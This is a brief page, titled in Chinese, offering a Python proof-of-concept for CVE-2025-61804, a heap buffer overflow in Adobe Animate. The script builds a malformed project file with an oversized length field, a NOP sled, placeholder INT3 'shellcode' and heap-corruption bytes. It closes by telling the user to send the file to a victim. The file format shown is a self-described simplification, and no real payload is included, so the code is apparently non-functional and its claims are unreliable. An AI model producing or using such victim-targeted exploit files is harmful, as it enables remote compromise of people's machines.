CVE-2025-61804 Adobe Animate堆缓冲区溢出导致远程代码执行漏洞

# CVE-2025-61804 - Adobe Animate Heap-based Buffer Overflow PoC # This PoC demonstrates the concept of crafting a malicious Animate file # that triggers a heap-based buffer overflow when opened in vulnerable versions. import struct import sys def craft_malicious_anim_file(output_path): """ Generate a malformed Animate project file to trigger heap buffer overflow. The file exploits insufficient bounds checking in the file parser. """ # Normal Animate file header (simplified representation) header = b'FLA\x01\x00' # File magic bytes header += struct.pack('<H', 24) # Version header += struct.pack('<I', 0) # Reserved # Craft a malicious payload section with oversized data # This field is intended to hold a fixed-size buffer (e.g., 256 bytes) # but the parser fails to validate the length before copying section_type = b'\x41\x4E\x49\x4D' # 'ANIM' section marker declared_length = struct.pack('<I', 4096) # Claims 4096 bytes # Normal data (256 bytes to fill legitimate buffer) normal_data = b'\x00' * 256 # Overflow payload - NOP sled + shellcode placeholder # In a real exploit, this would contain shellcode for RCE nop_sled = b'\x90' * 1024 # Placeholder for actual shellcode (e.g., reverse_tcp payload) shellcode_placeholder = b'\xCC' * 2048 # INT3 breakpoints for testing # Additional heap metadata corruption to aid exploitation heap_corruption = b'\x41' * 512 payload = normal_data + nop_sled + shellcode_placeholder + heap_corruption # Assemble the malicious file malicious_file = header + section_type + declared_length + payload with open(output_path, 'wb') as f: f.write(malicious_file) print(f"[*] Malicious Animate file generated: {output_path}") print(f"[*] File size: {len(malicious_file)} bytes") print("[*] Send this file to the victim and wait for them to open it in Adobe Animate") if __name__ == "__main__": output = sys.argv[1] if len(sys.argv) > 1 else "exploit.fla" craft_malicious_anim_file(output)